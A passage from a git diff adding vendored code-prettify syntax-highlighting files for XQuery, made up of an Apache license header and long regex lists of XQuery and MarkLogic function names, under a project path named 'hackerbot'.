og10|math:log|math:ldexp|math:frexp|math:fmod|math:floor|math:fabs|math:exp|math:cosh|math:cos|math:ceil|math:atan2|math:atan|math:asin|math:acos|map:put|map:map|map:keys|map:get|map:delete|map:count|map:clear|lnk:to|lnk:remove|lnk:insert|lnk:get|lnk:from|lnk:create|kml:polygon|kml:point|kml:interior-polygon|kml:geospatial-query-from-elements|kml:geospatial-query|kml:circle|kml:box|gml:polygon|gml:point|gml:interior-polygon|gml:geospatial-query-from-elements|gml:geospatial-query|gml:circle|gml:box|georss:point|georss:geospatial-query|georss:circle|geo:polygon|geo:point|geo:interior-polygon|geo:geospatial-query-from-elements|geo:geospatial-query|geo:circle|geo:box|fn:zero-or-one|fn:years-from-duration|fn:year-from-dateTime|fn:year-from-date|fn:upper-case|fn:unordered|fn:true|fn:translate|fn:trace|fn:tokenize|fn:timezone-from-time|fn:timezone-from-dateTime|fn:timezone-from-date|fn:sum|fn:subtract-dateTimes-yielding-yearMonthDuration|fn:subtract-dateTimes-yielding-dayTimeDuration|fn:substring-before|fn:substring-after|fn:substring|fn:subsequence|fn:string-to-codepoints|fn:string-pad|fn:string-length|fn:string-join|fn:string|fn:static-base-uri|fn:starts-with|fn:seconds-from-time|fn:seconds-from-duration|fn:seconds-from-dateTime|fn:round-half-to-even|fn:round|fn:root|fn:reverse|fn:resolve-uri|fn:resolve-QName|fn:replace|fn:remove|fn:QName|fn:prefix-from-QName|fn:position|fn:one-or-more|fn:number|fn:not|fn:normalize-unicode|fn:normalize-space|fn:node-name|fn:node-kind|fn:nilled|fn:namespace-uri-from-QName|fn:namespace-uri-for-prefix|fn:namespace-uri|fn:name|fn:months-from-duration|fn:month-from-dateTime|fn:month-from-date|fn:minutes-from-time|fn:minutes-from-duration|fn:minutes-from-dateTime|fn:min|fn:max|fn:matches|fn:lower-case|fn:local-name-from-QName|fn:local-name|fn:last|fn:lang|fn:iri-to-uri|fn:insert-before|fn:index-of|fn:in-scope-prefixes|fn:implicit-timezone|fn:idref|fn:id|fn:hours-from-time|fn:hours-from-duration|fn:hours-from-dateTime|fn:floor|fn:false|fn:expanded-QName|fn:exists|fn:exactly-one|fn:escape-uri|fn:escape-html-uri|fn:error|fn:ends-with|fn:encode-for-uri|fn:empty|fn:document-uri|fn:doc-available|fn:doc|fn:distinct-values|fn:distinct-nodes|fn:default-collation|fn:deep-equal|fn:days-from-duration|fn:day-from-dateTime|fn:day-from-date|fn:data|fn:current-time|fn:current-dateTime|fn:current-date|fn:count|fn:contains|fn:concat|fn:compare|fn:collection|fn:codepoints-to-string|fn:codepoint-equal|fn:ceiling|fn:boolean|fn:base-uri|fn:avg|fn:adjust-time-to-timezone|fn:adjust-dateTime-to-timezone|fn:adjust-date-to-timezone|fn:abs|feed:unsubscribe|feed:subscription|feed:subscribe|feed:request|feed:item|feed:description|excel:clean|entity:enrich|dom:set-pipelines|dom:set-permissions|dom:set-name|dom:set-evaluation-context|dom:set-domain-scope|dom:set-description|dom:remove-pipeline|dom:remove-permissions|dom:remove|dom:get|dom:evaluation-context|dom:domains|dom:domain-scope|dom:create|dom:configuration-set-restart-user|dom:configuration-set-permissions|dom:configuration-set-evaluation-context|dom:configuration-set-default-domain|dom:configuration-get|dom:configuration-create|dom:collection|dom:add-pipeline|dom:add-permissions|dls:retention-rules|dls:retention-rule-remove|dls:retention-rule-insert|dls:retention-rule|dls:purge|dls:node-expand|dls:link-references|dls:link-expand|dls:documents-query|dls:document-versions-query|dls:document-version-uri|dls:document-version-query|dls:document-version-delete|dls:document-version-as-of|dls:document-version|dls:document-update|dls:document-unmanage|dls:document-set-quality|dls:document-set-property|dls:document-set-properties|dls:document-set-permissions|dls:document-set-collections|dls:document-retention-rules|dls:document-remove-properties|dls:document-remove-permissions|dls:document-remove-collections|dls:document-purge|dls:document-manage|dls:document-is-managed|dls:document-insert-and-manage|dls:document-include-query|dls:document-history|dls:document-get-permissions|dls:document-extract-part|dls:document-delete|dls:document-checkout-status|dls:document-checkout|dls:document-checkin|dls:document-add-properties|dls:document-add-permissions|dls:document-add-collections|dls:break-checkout|dls:author-query|dls:as-of-query|dbk:convert|dbg:wait|dbg:value|dbg:stopped|dbg:stop|dbg:step|dbg:status|dbg:stack|dbg:out|dbg:next|dbg:line|dbg:invoke|dbg:function|dbg:finish|dbg:expr|dbg:eval|dbg:disconnect|dbg:detach|dbg:continue|dbg:connect|dbg:clear|dbg:breakpoints|dbg:break|dbg:attached|dbg:attach|cvt:save-converted-documents|cvt:part-uri|cvt:destination-uri|cvt:basepath|cvt:basename|cts:words|cts:word-query-weight|cts:word-query-text|cts:word-query-options|cts:word-query|cts:word-match|cts:walk|cts:uris|cts:uri-match|cts:train|cts:tokenize|cts:thresholds|cts:stem|cts:similar-query-weight|cts:similar-query-nodes|cts:similar-query|cts:shortest-distance|cts:search|cts:score|cts:reverse-query-weight|cts:reverse-query-nodes|cts:reverse-query|cts:remainder|cts:registered-query-weight|cts:registered-query-options|cts:registered-query-ids|cts:registered-query|cts:register|cts:query|cts:quality|cts:properties-query-query|cts:properties-query|cts:polygon-vertices|cts:polygon|cts:point-longitude|cts:point-latitude|cts:point|cts:or-query-queries|cts:or-query|cts:not-query-weight|cts:not-query-query|cts:not-query|cts:near-query-weight|cts:near-query-queries|cts:near-query-options|cts:near-query-distance|cts:near-query|cts:highlight|cts:geospatial-co-occurrences|cts:frequency|cts:fitness|cts:field-words|cts:field-word-query-weight|cts:field-word-query-text|cts:field-word-query-options|cts:field-word-query-field-name|cts:field-word-query|cts:field-word-match|cts:entity-highlight|cts:element-words|cts:element-word-query-weight|cts:element-word-query-text|cts:element-word-query-options|cts:element-word-query-element-name|cts:element-word-query|cts:element-word-match|cts:element-values|cts:element-value-ranges|cts:element-value-query-weight|cts:element-value-query-text|cts:element-value-query-options|cts:element-value-query-element-name|cts:element-value-query|cts:element-value-match|cts:element-value-geospatial-co-occurrences|cts:element-value-co-occurrences|cts:element-range-query-weight|cts:element-range-query-value|cts:element-range-query-options|cts:element-range-query-operator|cts:element-range-query-element-name|cts:element-range-query|cts:element-query-query|cts:element-query-element-name|cts:element-query|cts:element-pair-geospatial-values|cts:element-pair-geospatial-value-match|cts:element-pair-geospatial-query-weight|cts:element-pair-geospatial-query-region|cts:element-pair-geospatial-query-options|cts:element-pair-geospatial-query-longitude-name|cts:element-pair-geospatial-query-latitude-name|cts:element-pair-geospatial-query-element-name|cts:element-pair-geospatial-query|cts:element-pair-geospatial-boxes|cts:element-geospatial-values|cts:element-geospatial-value-match|cts:element-geospatial-query-weight|cts:element-geospatial-query-region|cts:element-geospatial-query-options|cts:element-geospatial-query-element-name|cts:element-geospatial-query|cts:element-geospatial-boxes|cts:element-child-geospatial-values|cts:element-child-geospatial-value-match|cts:element-child-geospatial-query-weight|cts:element-child-geospatial-query-region|cts:element-child-geospatial-query-options|cts:element-child-geospatial-query-element-name|cts:element-child-geospatial-query-child-name|cts:element-child-geospatial-query|cts:element-child-geospatial-boxes|cts:element-attribute-words|cts:element-attribute-word-query-weight|cts:element-attribute-word-query-text|cts:element-attribute-word-query-options|cts:element-attribute-word-query-element-name|cts:element-attribute-word-query-attribute-name|cts:element-attribute-word-query|cts:element-attribute-word-match|cts:element-attribute-values|cts:element-attribute-value-ranges|cts:element-attribute-value-query-weight|cts:element-attribute-value-query-text|cts:element-attribute-value-query-options|cts:element-attribute-value-query-element-name|cts:element-attribute-value-query-attribute-name|cts:element-attribute-value-query|cts:element-attribute-value-match|cts:element-attribute-value-geospatial-co-occurrences|cts:element-attribute-value-co-occurrences|cts:element-attribute-range-query-weight|cts:element-attribute-range-query-value|cts:element-attribute-range-query-options|cts:element-attribute-range-query-operator|cts:element-attribute-range-query-element-name|cts:element-attribute-range-query-attribute-name|cts:element-attribute-range-query|cts:element-attribute-pair-geospatial-values|cts:element-attribute-pair-geospatial-value-match|cts:element-attribute-pair-geospatial-query-weight|cts:element-attribute-pair-geospatial-query-region|cts:element-attribute-pair-geospatial-query-options|cts:element-attribute-pair-geospatial-query-longitude-name|cts:element-attribute-pair-geospatial-query-latitude-name|cts:element-attribute-pair-geospatial-query-element-name|cts:element-attribute-pair-geospatial-query|cts:element-attribute-pair-geospatial-boxes|cts:document-query-uris|cts:document-query|cts:distance|cts:directory-query-uris|cts:directory-query-depth|cts:directory-query|cts:destination|cts:deregister|cts:contains|cts:confidence|cts:collections|cts:collection-query-uris|cts:collection-query|cts:collection-match|cts:classify|cts:circle-radius|cts:circle-center|cts:circle|cts:box-west|cts:box-south|cts:box-north|cts:box-east|cts:box|cts:bearing|cts:arc-intersection|cts:and-query-queries|cts:and-query-options|cts:and-query|cts:and-not-query-positive-query|cts:and-not-query-negative-query|cts:and-not-query|css:get|css:convert|cpf:success|cpf:failure|cpf:document-set-state|cpf:document-set-processing-status|cpf:document-set-last-updated|cpf:document-set-error|cpf:document-get-state|cpf:document-get-processing-status|cpf:document-get-last-updated|cpf:document-get-error|cpf:check-transition|alert:spawn-matching-actions|alert:rule-user-id-query|alert:rule-set-user-id|alert:rule-set-query|alert:rule-set-options|alert:rule-set-name|alert:rule-set-description|alert:rule-set-action|alert:rule-remove|alert:rule-name-query|alert:rule-insert|alert:rule-id-query|alert:rule-get-user-id|alert:rule-get-query|alert:rule-get-options|alert:rule-get-name|alert:rule-get-id|alert:rule-get-description|alert:rule-get-action|alert:rule-action-query|alert:remove-triggers|alert:make-rule|alert:make-log-action|alert:make-config|alert:make-action|alert:invoke-matching-actions|alert:get-my-rules|alert:get-all-rules|alert:get-actions|alert:find-matching-rules|alert:create-triggers|alert:config-set-uri|alert:config-set-trigger-ids|alert:config-set-options|alert:config-set-name|alert:config-set-description|alert:config-set-cpf-domain-names|alert:config-set-cpf-domain-ids|alert:config-insert|alert:config-get-uri|alert:config-get-trigger-ids|alert:config-get-options|alert:config-get-name|alert:config-get-id|alert:config-get-description|alert:config-get-cpf-domain-names|alert:config-get-cpf-domain-ids|alert:config-get|alert:config-delete|alert:action-set-options|alert:action-set-name|alert:action-set-module-root|alert:action-set-module-db|alert:action-set-module|alert:action-set-description|alert:action-remove|alert:action-insert|alert:action-get-options|alert:action-get-name|alert:action-get-module-root|alert:action-get-module-db|alert:action-get-module|alert:action-get-description|zero-or-one|years-from-duration|year-from-dateTime|year-from-date|upper-case|unordered|true|translate|trace|tokenize|timezone-from-time|timezone-from-dateTime|timezone-from-date|sum|subtract-dateTimes-yielding-yearMonthDuration|subtract-dateTimes-yielding-dayTimeDuration|substring-before|substring-after|substring|subsequence|string-to-codepoints|string-pad|string-length|string-join|string|static-base-uri|starts-with|seconds-from-time|seconds-from-duration|seconds-from-dateTime|round-half-to-even|round|root|reverse|resolve-uri|resolve-QName|replace|remove|QName|prefix-from-QName|position|one-or-more|number|not|normalize-unicode|normalize-space|node-name|node-kind|nilled|namespace-uri-from-QName|namespace-uri-for-prefix|namespace-uri|name|months-from-duration|month-from-dateTime|month-from-date|minutes-from-time|minutes-from-duration|minutes-from-dateTime|min|max|matches|lower-case|local-name-from-QName|local-name|last|lang|iri-to-uri|insert-before|index-of|in-scope-prefixes|implicit-timezone|idref|id|hours-from-time|hours-from-duration|hours-from-dateTime|floor|false|expanded-QName|exists|exactly-one|escape-uri|escape-html-uri|error|ends-with|encode-for-uri|empty|document-uri|doc-available|doc|distinct-values|distinct-nodes|default-collation|deep-equal|days-from-duration|day-from-dateTime|day-from-date|data|current-time|current-dateTime|current-date|count|contains|concat|compare|collection|codepoints-to-string|codepoint-equal|ceiling|boolean|base-uri|avg|adjust-time-to-timezone|adjust-dateTime-to-timezone|adjust-date-to-timezone|abs)\b/],
+["pln",/^[A-Za-z0-9_\-\:]+/],["pln",/^[\t\n\r \xA0]+/]]),["xq","xquery"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-xquery.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-xquery.js
new file mode 100644
index 000000000..a6d85372d
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-xquery.js
@@ -0,0 +1,19 @@
+/*
+
+ Copyright (C) 2011 Patrick Wied
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+      http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["var pln",/^\$[A-Za-z0-9_\-]+/,null,"$"]],[["pln",/^[\s=][<>][\s=]/],["lit",/^\@[\w-]+/],["tag",/^<\/?[a-z](?:[\w.:-]*\w)?|\/?>$/i],["com",/^\(:[\s\S]*?:\)/],["pln",/^[\/\{\};,\[\]\(\)]$/],["str",/^(?:\"(?:[^\"\\\{]|\\[\s\S])*(?:\"|$)|\'(?:[^\'\\\{]|\\[\s\S])*(?:\'|$))/,null,"\"'"],["kwd",/^(?:xquery|where|version|variable|union|typeswitch|treat|to|then|text|stable|sortby|some|self|schema|satisfies|returns|return|ref|processing-instruction|preceding-sibling|preceding|precedes|parent|only|of|node|namespace|module|let|item|intersect|instance|in|import|if|function|for|follows|following-sibling|following|external|except|every|else|element|descending|descendant-or-self|descendant|define|default|declare|comment|child|cast|case|before|attribute|assert|ascending|as|ancestor-or-self|ancestor|after|eq|order|by|or|and|schema-element|document-node|node|at)\b/],
+["typ",/^(?:xs:yearMonthDuration|xs:unsignedLong|xs:time|xs:string|xs:short|xs:QName|xs:Name|xs:long|xs:integer|xs:int|xs:gYearMonth|xs:gYear|xs:gMonthDay|xs:gDay|xs:float|xs:duration|xs:double|xs:decimal|xs:dayTimeDuration|xs:dateTime|xs:date|xs:byte|xs:boolean|xs:anyURI|xf:yearMonthDuration)\b/,null],["fun pln",/^(?:xp:dereference|xinc:node-expand|xinc:link-references|xinc:link-expand|xhtml:restructure|xhtml:clean|xhtml:add-lists|xdmp:zip-manifest|xdmp:zip-get|xdmp:zip-create|xdmp:xquery-version|xdmp:word-convert|xdmp:with-namespaces|xdmp:version|xdmp:value|xdmp:user-roles|xdmp:user-last-login|xdmp:user|xdmp:url-encode|xdmp:url-decode|xdmp:uri-is-file|xdmp:uri-format|xdmp:uri-content-type|xdmp:unquote|xdmp:unpath|xdmp:triggers-database|xdmp:trace|xdmp:to-json|xdmp:tidy|xdmp:subbinary|xdmp:strftime|xdmp:spawn-in|xdmp:spawn|xdmp:sleep|xdmp:shutdown|xdmp:set-session-field|xdmp:set-response-encoding|xdmp:set-response-content-type|xdmp:set-response-code|xdmp:set-request-time-limit|xdmp:set|xdmp:servers|xdmp:server-status|xdmp:server-name|xdmp:server|xdmp:security-database|xdmp:security-assert|xdmp:schema-database|xdmp:save|xdmp:role-roles|xdmp:role|xdmp:rethrow|xdmp:restart|xdmp:request-timestamp|xdmp:request-status|xdmp:request-cancel|xdmp:request|xdmp:redirect-response|xdmp:random|xdmp:quote|xdmp:query-trace|xdmp:query-meters|xdmp:product-edition|xdmp:privilege-roles|xdmp:privilege|xdmp:pretty-print|xdmp:powerpoint-convert|xdmp:platform|xdmp:permission|xdmp:pdf-convert|xdmp:path|xdmp:octal-to-integer|xdmp:node-uri|xdmp:node-replace|xdmp:node-kind|xdmp:node-insert-child|xdmp:node-insert-before|xdmp:node-insert-after|xdmp:node-delete|xdmp:node-database|xdmp:mul64|xdmp:modules-root|xdmp:modules-database|xdmp:merging|xdmp:merge-cancel|xdmp:merge|xdmp:md5|xdmp:logout|xdmp:login|xdmp:log-level|xdmp:log|xdmp:lock-release|xdmp:lock-acquire|xdmp:load|xdmp:invoke-in|xdmp:invoke|xdmp:integer-to-octal|xdmp:integer-to-hex|xdmp:http-put|xdmp:http-post|xdmp:http-options|xdmp:http-head|xdmp:http-get|xdmp:http-delete|xdmp:hosts|xdmp:host-status|xdmp:host-name|xdmp:host|xdmp:hex-to-integer|xdmp:hash64|xdmp:hash32|xdmp:has-privilege|xdmp:groups|xdmp:group-serves|xdmp:group-servers|xdmp:group-name|xdmp:group-hosts|xdmp:group|xdmp:get-session-field-names|xdmp:get-session-field|xdmp:get-response-encoding|xdmp:get-response-code|xdmp:get-request-username|xdmp:get-request-user|xdmp:get-request-url|xdmp:get-request-protocol|xdmp:get-request-path|xdmp:get-request-method|xdmp:get-request-header-names|xdmp:get-request-header|xdmp:get-request-field-names|xdmp:get-request-field-filename|xdmp:get-request-field-content-type|xdmp:get-request-field|xdmp:get-request-client-certificate|xdmp:get-request-client-address|xdmp:get-request-body|xdmp:get-current-user|xdmp:get-current-roles|xdmp:get|xdmp:function-name|xdmp:function-module|xdmp:function|xdmp:from-json|xdmp:forests|xdmp:forest-status|xdmp:forest-restore|xdmp:forest-restart|xdmp:forest-name|xdmp:forest-delete|xdmp:forest-databases|xdmp:forest-counts|xdmp:forest-clear|xdmp:forest-backup|xdmp:forest|xdmp:filesystem-file|xdmp:filesystem-directory|xdmp:exists|xdmp:excel-convert|xdmp:eval-in|xdmp:eval|xdmp:estimate|xdmp:email|xdmp:element-content-type|xdmp:elapsed-time|xdmp:document-set-quality|xdmp:document-set-property|xdmp:document-set-properties|xdmp:document-set-permissions|xdmp:document-set-collections|xdmp:document-remove-properties|xdmp:document-remove-permissions|xdmp:document-remove-collections|xdmp:document-properties|xdmp:document-locks|xdmp:document-load|xdmp:document-insert|xdmp:document-get-quality|xdmp:document-get-properties|xdmp:document-get-permissions|xdmp:document-get-collections|xdmp:document-get|xdmp:document-forest|xdmp:document-delete|xdmp:document-add-properties|xdmp:document-add-permissions|xdmp:document-add-collections|xdmp:directory-properties|xdmp:directory-locks|xdmp:directory-delete|xdmp:directory-create|xdmp:directory|xdmp:diacritic-less|xdmp:describe|xdmp:default-permissions|xdmp:default-collections|xdmp:databases|xdmp:database-restore-validate|xdmp:database-restore-status|xdmp:database-restore-cancel|xdmp:database-restore|xdmp:database-name|xdmp:database-forests|xdmp:database-backup-validate|xdmp:database-backup-status|xdmp:database-backup-purge|xdmp:database-backup-cancel|xdmp:database-backup|xdmp:database|xdmp:collection-properties|xdmp:collection-locks|xdmp:collection-delete|xdmp:collation-canonical-uri|xdmp:castable-as|xdmp:can-grant-roles|xdmp:base64-encode|xdmp:base64-decode|xdmp:architecture|xdmp:apply|xdmp:amp-roles|xdmp:amp|xdmp:add64|xdmp:add-response-header|xdmp:access|trgr:trigger-set-recursive|trgr:trigger-set-permissions|trgr:trigger-set-name|trgr:trigger-set-module|trgr:trigger-set-event|trgr:trigger-set-description|trgr:trigger-remove-permissions|trgr:trigger-module|trgr:trigger-get-permissions|trgr:trigger-enable|trgr:trigger-disable|trgr:trigger-database-online-event|trgr:trigger-data-event|trgr:trigger-add-permissions|trgr:remove-trigger|trgr:property-content|trgr:pre-commit|trgr:post-commit|trgr:get-trigger-by-id|trgr:get-trigger|trgr:document-scope|trgr:document-content|trgr:directory-scope|trgr:create-trigger|trgr:collection-scope|trgr:any-property-content|thsr:set-entry|thsr:remove-term|thsr:remove-synonym|thsr:remove-entry|thsr:query-lookup|thsr:lookup|thsr:load|thsr:insert|thsr:expand|thsr:add-synonym|spell:suggest-detailed|spell:suggest|spell:remove-word|spell:make-dictionary|spell:load|spell:levenshtein-distance|spell:is-correct|spell:insert|spell:double-metaphone|spell:add-word|sec:users-collection|sec:user-set-roles|sec:user-set-password|sec:user-set-name|sec:user-set-description|sec:user-set-default-permissions|sec:user-set-default-collections|sec:user-remove-roles|sec:user-privileges|sec:user-get-roles|sec:user-get-description|sec:user-get-default-permissions|sec:user-get-default-collections|sec:user-doc-permissions|sec:user-doc-collections|sec:user-add-roles|sec:unprotect-collection|sec:uid-for-name|sec:set-realm|sec:security-version|sec:security-namespace|sec:security-installed|sec:security-collection|sec:roles-collection|sec:role-set-roles|sec:role-set-name|sec:role-set-description|sec:role-set-default-permissions|sec:role-set-default-collections|sec:role-remove-roles|sec:role-privileges|sec:role-get-roles|sec:role-get-description|sec:role-get-default-permissions|sec:role-get-default-collections|sec:role-doc-permissions|sec:role-doc-collections|sec:role-add-roles|sec:remove-user|sec:remove-role-from-users|sec:remove-role-from-role|sec:remove-role-from-privileges|sec:remove-role-from-amps|sec:remove-role|sec:remove-privilege|sec:remove-amp|sec:protect-collection|sec:privileges-collection|sec:privilege-set-roles|sec:privilege-set-name|sec:privilege-remove-roles|sec:privilege-get-roles|sec:privilege-add-roles|sec:priv-doc-permissions|sec:priv-doc-collections|sec:get-user-names|sec:get-unique-elem-id|sec:get-role-names|sec:get-role-ids|sec:get-privilege|sec:get-distinct-permissions|sec:get-collection|sec:get-amp|sec:create-user-with-role|sec:create-user|sec:create-role|sec:create-privilege|sec:create-amp|sec:collections-collection|sec:collection-set-permissions|sec:collection-remove-permissions|sec:collection-get-permissions|sec:collection-add-permissions|sec:check-admin|sec:amps-collection|sec:amp-set-roles|sec:amp-remove-roles|sec:amp-get-roles|sec:amp-doc-permissions|sec:amp-doc-collections|sec:amp-add-roles|search:unparse|search:suggest|search:snippet|search:search|search:resolve-nodes|search:resolve|search:remove-constraint|search:parse|search:get-default-options|search:estimate|search:check-options|prof:value|prof:reset|prof:report|prof:invoke|prof:eval|prof:enable|prof:disable|prof:allowed|ppt:clean|pki:template-set-request|pki:template-set-name|pki:template-set-key-type|pki:template-set-key-options|pki:template-set-description|pki:template-in-use|pki:template-get-version|pki:template-get-request|pki:template-get-name|pki:template-get-key-type|pki:template-get-key-options|pki:template-get-id|pki:template-get-description|pki:need-certificate|pki:is-temporary|pki:insert-trusted-certificates|pki:insert-template|pki:insert-signed-certificates|pki:insert-certificate-revocation-list|pki:get-trusted-certificate-ids|pki:get-template-ids|pki:get-template-certificate-authority|pki:get-template-by-name|pki:get-template|pki:get-pending-certificate-requests-xml|pki:get-pending-certificate-requests-pem|pki:get-pending-certificate-request|pki:get-certificates-for-template-xml|pki:get-certificates-for-template|pki:get-certificates|pki:get-certificate-xml|pki:get-certificate-pem|pki:get-certificate|pki:generate-temporary-certificate-if-necessary|pki:generate-temporary-certificate|pki:generate-template-certificate-authority|pki:generate-certificate-request|pki:delete-template|pki:delete-certificate|pki:create-template|pdf:make-toc|pdf:insert-toc-headers|pdf:get-toc|pdf:clean|p:status-transition|p:state-transition|p:remove|p:pipelines|p:insert|p:get-by-id|p:get|p:execute|p:create|p:condition|p:collection|p:action|ooxml:runs-merge|ooxml:package-uris|ooxml:package-parts-insert|ooxml:package-parts|msword:clean|mcgm:polygon|mcgm:point|mcgm:geospatial-query-from-elements|mcgm:geospatial-query|mcgm:circle|math:tanh|math:tan|math:sqrt|math:sinh|math:sin|math:pow|math:modf|math:log10|math:log|math:ldexp|math:frexp|math:fmod|math:floor|math:fabs|math:exp|math:cosh|math:cos|math:ceil|math:atan2|math:atan|math:asin|math:acos|map:put|map:map|map:keys|map:get|map:delete|map:count|map:clear|lnk:to|lnk:remove|lnk:insert|lnk:get|lnk:from|lnk:create|kml:polygon|kml:point|kml:interior-polygon|kml:geospatial-query-from-elements|kml:geospatial-query|kml:circle|kml:box|gml:polygon|gml:point|gml:interior-polygon|gml:geospatial-query-from-elements|gml:geospatial-query|gml:circle|gml:box|georss:point|georss:geospatial-query|georss:circle|geo:polygon|geo:point|geo:interior-polygon|geo:geospatial-query-from-elements|geo:geospatial-query|geo:circle|geo:box|fn:zero-or-one|fn:years-from-duration|fn:year-from-dateTime|fn:year-from-date|fn:upper-case|fn:unordered|fn:true|fn:translate|fn:trace|fn:tokenize|fn:timezone-from-time|fn:timezone-from-dateTime|fn:timezone-from-date|fn:sum|fn:subtract-dateTimes-yielding-yearMonthDuration|fn:subtract-dateTimes-yielding-dayTimeDuration|fn:substring-before|fn:substring-after|fn:substring|fn:subsequence|fn:string-to-codepoints|fn:string-pad|fn:string-length|fn:string-join|fn:string|fn:static-base-uri|fn:starts-with|fn:seconds-from-time|fn:seconds-from-duration|fn:seconds-from-dateTime|fn:round-half-to-even|fn:round|fn:root|fn:reverse|fn:resolve-uri|fn:resolve-QName|fn:replace|fn:remove|fn:QName|fn:prefix-from-QName|fn:position|fn:one-or-more|fn:number|fn:not|fn:normalize-unicode|fn:normalize-space|fn:node-name|fn:node-kind|fn:nilled|fn:namespace-uri-from-QName|fn:namespace-uri-for-prefix|fn:namespace-uri|fn:name|fn:months-from-duration|fn:month-from-dateTime|fn:month-from-date|fn:minutes-from-time|fn:minutes-from-duration|fn:minutes-from-dateTime|fn:min|fn:max|fn:matches|fn:lower-case|fn:local-name-from-QName|fn:local-name|fn:last|fn:lang|fn:iri-to-uri|fn:insert-before|fn:index-of|fn:in-scope-prefixes|fn:implicit-timezone|fn:idref|fn:id|fn:hours-from-time|fn:hours-from-duration|fn:hours-from-dateTime|fn:floor|fn:false|fn:expanded-QName|fn:exists|fn:exactly-one|fn:escape-uri|fn:escape-html-uri|fn:error|fn:ends-with|fn:encode-for-uri|fn:empty|fn:document-uri|fn:doc-available|fn:doc|fn:distinct-values|fn:distinct-nodes|fn:default-collation|fn:deep-equal|fn:days-from-duration|fn:day-from-dateTime|fn:day-from-date|fn:data|fn:current-time|fn:current-dateTime|fn:current-date|fn:count|fn:contains|fn:concat|fn:compare|fn:collection|fn:codepoints-to-string|fn:codepoint-equal|fn:ceiling|fn:boolean|fn:base-uri|fn:avg|fn:adjust-time-to-timezone|fn:adjust-dateTime-to-timezone|fn:adjust-date-to-timezone|fn:abs|feed:unsubscribe|feed:subscription|feed:subscribe|feed:request|feed:item|feed:description|excel:clean|entity:enrich|dom:set-pipelines|dom:set-permissions|dom:set-name|dom:set-evaluation-context|dom:set-domain-scope|dom:set-description|dom:remove-pipeline|dom:remove-permissions|dom:remove|dom:get|dom:evaluation-context|dom:domains|dom:domain-scope|dom:create|dom:configuration-set-restart-user|dom:configuration-set-permissions|dom:configuration-set-evaluation-context|dom:configuration-set-default-domain|dom:configuration-get|dom:configuration-create|dom:collection|dom:add-pipeline|dom:add-permissions|dls:retention-rules|dls:retention-rule-remove|dls:retention-rule-insert|dls:retention-rule|dls:purge|dls:node-expand|dls:link-references|dls:link-expand|dls:documents-query|dls:document-versions-query|dls:document-version-uri|dls:document-version-query|dls:document-version-delete|dls:document-version-as-of|dls:document-version|dls:document-update|dls:document-unmanage|dls:document-set-quality|dls:document-set-property|dls:document-set-properties|dls:document-set-permissions|dls:document-set-collections|dls:document-retention-rules|dls:document-remove-properties|dls:document-remove-permissions|dls:document-remove-collections|dls:document-purge|dls:document-manage|dls:document-is-managed|dls:document-insert-and-manage|dls:document-include-query|dls:document-history|dls:document-get-permissions|dls:document-extract-part|dls:document-delete|dls:document-checkout-status|dls:document-checkout|dls:document-checkin|dls:document-add-properties|dls:document-add-permissions|dls:document-add-collections|dls:break-checkout|dls:author-query|dls:as-of-query|dbk:convert|dbg:wait|dbg:value|dbg:stopped|dbg:stop|dbg:step|dbg:status|dbg:stack|dbg:out|dbg:next|dbg:line|dbg:invoke|dbg:function|dbg:finish|dbg:expr|dbg:eval|dbg:disconnect|dbg:detach|dbg:continue|dbg:connect|dbg:clear|dbg:breakpoints|dbg:break|dbg:attached|dbg:attach|cvt:save-converted-documents|cvt:part-uri|cvt:destination-uri|cvt:basepath|cvt:basename|cts:words|cts:word-query-weight|cts:word-query-text|cts:word-query-options|cts:word-query|cts:word-match|cts:walk|cts:uris|cts:uri-match|cts:train|cts:tokenize|cts:thresholds|cts:stem|cts:similar-query-weight|cts:similar-query-nodes|cts:similar-query|cts:shortest-distance|cts:search|cts:score|cts:reverse-query-weight|cts:reverse-query-nodes|cts:reverse-query|cts:remainder|cts:registered-query-weight|cts:registered-query-options|cts:registered-query-ids|cts:registered-query|cts:register|cts:query|cts:quality|cts:properties-query-query|cts:properties-query|cts:polygon-vertices|cts:polygon|cts:point-longitude|cts:point-latitude|cts:point|cts:or-query-queries|cts:or-query|cts:not-query-weight|cts:not-query-query|cts:not-query|cts:near-query-weight|cts:near-query-queries|cts:near-query-options|cts:near-query-distance|cts:near-query|cts:highlight|cts:geospatial-co-occurrences|cts:frequency|cts:fitness|cts:field-words|cts:field-word-query-weight|cts:field-word-query-text|cts:field-word-query-options|cts:field-word-query-field-name|cts:field-word-query|cts:field-word-match|cts:entity-highlight|cts:element-words|cts:element-word-query-weight|cts:element-word-query-text|cts:element-word-query-options|cts:element-word-query-element-name|cts:element-word-query|cts:element-word-match|cts:element-values|cts:element-value-ranges|cts:element-value-query-weight|cts:element-value-query-text|cts:element-value-query-options|cts:element-value-query-element-name|cts:element-value-query|cts:element-value-match|cts:element-value-geospatial-co-occurrences|cts:element-value-co-occurrences|cts:element-range-query-weight|cts:element-range-query-value|cts:element-range-query-options|cts:element-range-query-operator|cts:element-range-query-element-name|cts:element-range-query|cts:element-query-query|cts:element-query-element-name|cts:element-query|cts:element-pair-geospatial-values|cts:element-pair-geospatial-value-match|cts:element-pair-geospatial-query-weight|cts:element-pair-geospatial-query-region|cts:element-pair-geospatial-query-options|cts:element-pair-geospatial-query-longitude-name|cts:element-pair-geospatial-query-latitude-name|cts:element-pair-geospatial-query-element-name|cts:element-pair-geospatial-query|cts:element-pair-geospatial-boxes|cts:element-geospatial-values|cts:element-geospatial-value-match|cts:element-geospatial-query-weight|cts:element-geospatial-query-region|cts:element-geospatial-query-options|cts:element-geospatial-query-element-name|cts:element-geospatial-query|cts:element-geospatial-boxes|cts:element-child-geospatial-values|cts:element-child-geospatial-value-match|cts:element-child-geospatial-query-weight|cts:element-child-geospatial-query-region|cts:element-child-geospatial-query-options|cts:element-child-geospatial-query-element-name|cts:element-child-geospatial-query-child-name|cts:element-child-geospatial-query|cts:element-child-geospatial-boxes